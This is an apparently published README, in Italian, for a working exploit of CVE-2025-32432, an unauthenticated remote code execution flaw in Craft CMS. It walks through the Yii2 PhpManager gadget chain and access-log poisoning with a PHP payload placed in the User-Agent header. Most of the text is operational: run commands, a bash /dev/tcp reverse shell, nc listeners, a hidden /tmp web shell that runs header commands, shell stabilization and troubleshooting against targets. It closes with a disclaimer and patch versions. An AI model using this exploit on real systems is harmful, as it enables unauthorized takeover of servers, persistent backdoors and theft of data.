
PoC funzionante per CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non autenticata tramite gadget Yii2 PhpManager + avvelenamento del log di accesso di nginx
Proof-of-concept funzionante per CVE-2025-32432, una vulnerabilità di esecuzione remota di codice non autenticata in Craft CMS versioni fino a 5.6.16 incluse (interessa anche gli alberi 4.x e 3.x su percorsi di codice equivalenti).
Parole chiave di ricerca: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
La modalità predefinita ha come target installazioni vanilla di Craft CMS. È incluso un flag --lab per la sfida carangueijada-20 del progetto hacklab-platform, che protegge Craft con un cookie di sessione personalizzato.
Componente interessato: craft\controllers\AssetsController::actionGenerateTransform.
L'azione è registrata come allowAnonymous, quindi non è richiesta autenticazione. Accetta un parametro POST handle che viene poi spalmato in una chiamata Craft::createObject():
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Quando $handle è un array associativo sotto il controllo dell'attaccante, lo spread inietta chiavi arbitrarie nella configurazione del costruttore. In particolare, una chiave che inizia con as viene interpretata da yii\base\Component::__set come un attaccamento di comportamento, che chiama Yii::createObject($config) sul valore prima di qualsiasi controllo di tipo:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
La correzione di Yii2 nella 2.0.50 ha aggiunto il controllo is_subclass_of($value['class'], Behavior::class) che protegge questo ramo; le installazioni vulnerabili (Yii2 <= 2.0.49, o controllo corretto in precedenza rimosso) saltano del tutto il controllo.
yii\rbac\PhpManagerPhpManager è una classe stock di Yii2. Il suo init() chiama load(), che chiama loadFromFile($this->itemFile). loadFromFile è letteralmente:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require interpreta qualsiasi file su disco come PHP. Se il file contiene un blocco <?php ... ?>, quel blocco viene eseguito nel worker. Puntando itemFile a un file il cui contenuto è controllato dall'attaccante, si ottiene l'RCE completa.
access.log di nginxIl sink affidabile tra installazioni è il file access.log di nginx in formato combinato. Registra l'User-Agent della richiesta letteralmente, inclusi caratteri non stampabili e gran parte della punteggiatura. Inviando una richiesta il cui User-Agent è <?php system('id'); exit; ?>, l'attaccante pianta un blocco PHP in un percorso noto. Puntando itemFile a /var/log/nginx/access.log, il require interpreta il log, eseguendo ogni blocco <?php ... ?> in ordine.
Due sottigliezze importanti:
" come \x22 nel formato combinato, il che rompe l'analisi PHP della riga. Usa apici singoli o concatenazione chr().exit; alla fine in modo che require si interrompa prima di analizzare righe di log successive che potrebbero contenere altri payload malformati.| Componente |
|---|
Craft 5.6.17 aggiunge un controllo ImageTransformerInterface sulla classe trasformatore. Yii2 2.0.50 aggiunge un controllo di sottoclasse Behavior in Component::__set. Una qualsiasi delle due correzioni chiude questa specifica catena di gadget.
requests (pip install -r requirements.txt)assetId valido di Craft sul target. Valore predefinito 2; sovrascrivi con -a <id> se necessario (l'asset id 1 è di solito l'avatar dell'amministratore).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile personalizzato (percorso log diverso, sessione FPM, ecc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
Il lab carangueijada-20 del progetto hacklab-platform protegge l'installazione di Craft con un cookie coopsess emesso da PATCH /login. Il flag --lab gestisce automaticamente quella stretta di mano.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Assicurati che www.carangueijada.coop risolva all'IP del lab (aggiungi a /etc/hosts se necessario).
Il flag --revshell lancia un bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 connect-back, messo in background in modo che la richiesta POST del gadget torni immediatamente.
Flusso a due terminali (il più affidabile):
# terminale 1 - listener sulla tua macchina
nc -lvnp 4444
# terminale 2 - lancia exploit
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Flusso a un terminale con listener integrato:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen avvia nc -lvnp <lport> nello stesso terminale prima di lanciare il payload. Ctrl+C esce quando hai finito.
Esempio di sessione (lab):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Payload reverse shell -> 10.200.0.20:4444
[!] Sulla TUA macchina esegui prima: nc -lvnp 4444
[*] Lancio tra 3s (dai tempo al listener di legarsi)...
[*] Modalità lab: PATCH /login per ottenere cookie coopsess
[*] Cookie coopsess acquisito
[*] Verifica wrapper esistente a /tmp/.cve32432_w.php
[*] Attivazione gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell lanciato.
# nel listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Stabilizzazione della shell (dopo la connessione, esegui all'interno della reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z per mandare nc in background
stty raw -echo; fg
# Invio due volte
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
Al primo avvio, l'exploit avvelena access.log una volta per rilasciare un wrapper PHP nascosto a /tmp/.cve32432_w.php. Il wrapper legge l'header HTTP X-Cmd ed esegue system($_SERVER['HTTP_X_CMD']). Ogni invio successivo punta itemFile al file wrapper e passa il comando tramite header. Niente più avvelenamento, niente più inquinamento del log, niente più fallimenti "primo blocco <?php exit; vince".
Se vuoi forzare un nuovo rilascio, elimina /tmp/.cve32432_w.php sul target (puoi farlo tramite il wrapper stesso: --cmd 'rm /tmp/.cve32432_w.php').
Esecuzione riuscita contro un target fresco:
[*] Recupero token CSRF da http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Avvelenamento access.log tramite User-Agent (lunghezza=508)
[*] richiesta di avvelenamento -> HTTP 200
[*] Attivazione gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
Ripiego su log inquinato (il target è già stato sfruttato in precedenza, un payload più vecchio esce prima del tuo):
[!] Marcatori non trovati; il log sembra inquinato da avvelenamento precedente.
[!] Passaggio all'estrazione della coda del corpo. L'output qui sotto
[!] proviene dal PRIMO blocco <?php nel log (probabilmente un vecchio payload).
--- output di ripiego (potrebbe essere obsoleto) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform arriva a AssetsController::actionGenerateTransform.$config = ['class' => ImageTransform::class, ...$handle]. Il nostro handle[as gadget] sopravvive allo spread.Craft::createObject($config) chiama Yii::$container->get(ImageTransform::class, [], $config), che istanzia ImageTransform e scrive ogni chiave di configurazione rimanente tramite $transform->{$key} = $value.as gadget, Component::__set corrisponde al prefisso as e chiama Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).Se riesci a eseguire in modo affidabile solo id (perché un vecchio avvelenamento exit; ha bloccato la catena), un pivot praticabile è far sì che quel singolo comando di tipo id scriva un wrapper PHP in un percorso che controlli, quindi cambiare itemFile su quel percorso per tutte le richieste successive:
# avvelenamento one-shot con comando che scrive /tmp/w.php come www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# codifica CMD come chr() ...
Poi esegui:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
Ogni invio successivo legge /tmp/w.php (un file PHP pulito senza nulla prima del nostro payload) ed esegue il comando dall'header X-Cmd. Adatta lo script se vuoi questa modalità integrata.
.
├── exploit.py # il PoC
├── README.md # questo file
├── requirements.txt # dipendenze Python (solo `requests`)
└── LICENSE # MIT
Component.php di Yii2 (revisione vulnerabile): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.phpQuesto proof-of-concept è pubblicato esclusivamente per ricerca difensiva, uso educativo e test di penetrazione autorizzati. Eseguirlo contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione scritta è illegale nella maggior parte delle giurisdizioni. L'autore non si assume alcuna responsabilità per un uso improprio.
Se gestisci un'installazione di Craft CMS, aggiorna alla 5.6.17 o successiva (o alla corrispondente release di patch 4.x / 3.x). La vulnerabilità è banalmente sfruttabile ed è stata utilizzata in campagne reali documentate da SensePost.
MIT. Vedi LICENSE.
| Vulnerabile |
|---|
| Corretto |
|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Yii::createObject costruisce PhpManager, esegue __construct() e poi init().PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.<?php ... ?> vengono eseguiti nel worker.system($cmd) e exit;. L'output appare nel corpo della risposta dove il blocco <?php era posizionato testualmente.| Sintomo | Causa | Soluzione |
|---|
HTTP 400 + "could not verify your data submission" / "Pedido invalido" | Token CSRF non associato al cookie usato nella POST | Lo script usa un singolo requests.Session; se reimplementi, assicurati che il jar dei cookie mantenga CRAFT_CSRF_TOKEN tra session-info e la POST. |
HTTP 403 su /actions/... | Prefisso percorso o vhost errato | Usa -p /prefix per corrispondere al punto in cui Craft è montato; assicurati che l'header Host corrisponda all'installazione. |
csrfTokenValue vuoto / session-info restituisce HTML | Header Accept errato | Lo script invia già Accept: application/json; se lo rimuovi, ripristinalo. |
| L'output non mostra mai il tuo comando | access.log contiene già un payload <?php ... exit; ?> più vecchio che viene eseguito per primo | Ruota / tronca il log sul target. Se hai solo RCE come id, attendi il prossimo logrotate, o fai un pivot attraverso un file PHP scrivibile (es. /tmp/wrapper.php con system($_SERVER['HTTP_X_CMD']);) e usalo come itemFile in futuro. |
assetId not found | ID errato per quella installazione | Sfoglia URL di asset pubblici per enumerare gli ID, o prova -a 1 poi -a 3..N. |
| Target corretto | Craft >= 5.6.17 o Yii2 >= 2.0.50 | La catena è chiusa; trova un'altra classe vulnerabile o passa oltre. |
| Il payload causa un errore PHP fatal | Voci di log più vecchie contengono PHP malformato che rompe il parser prima del tuo blocco | Stessa soluzione del log inquinato: ruota il log. |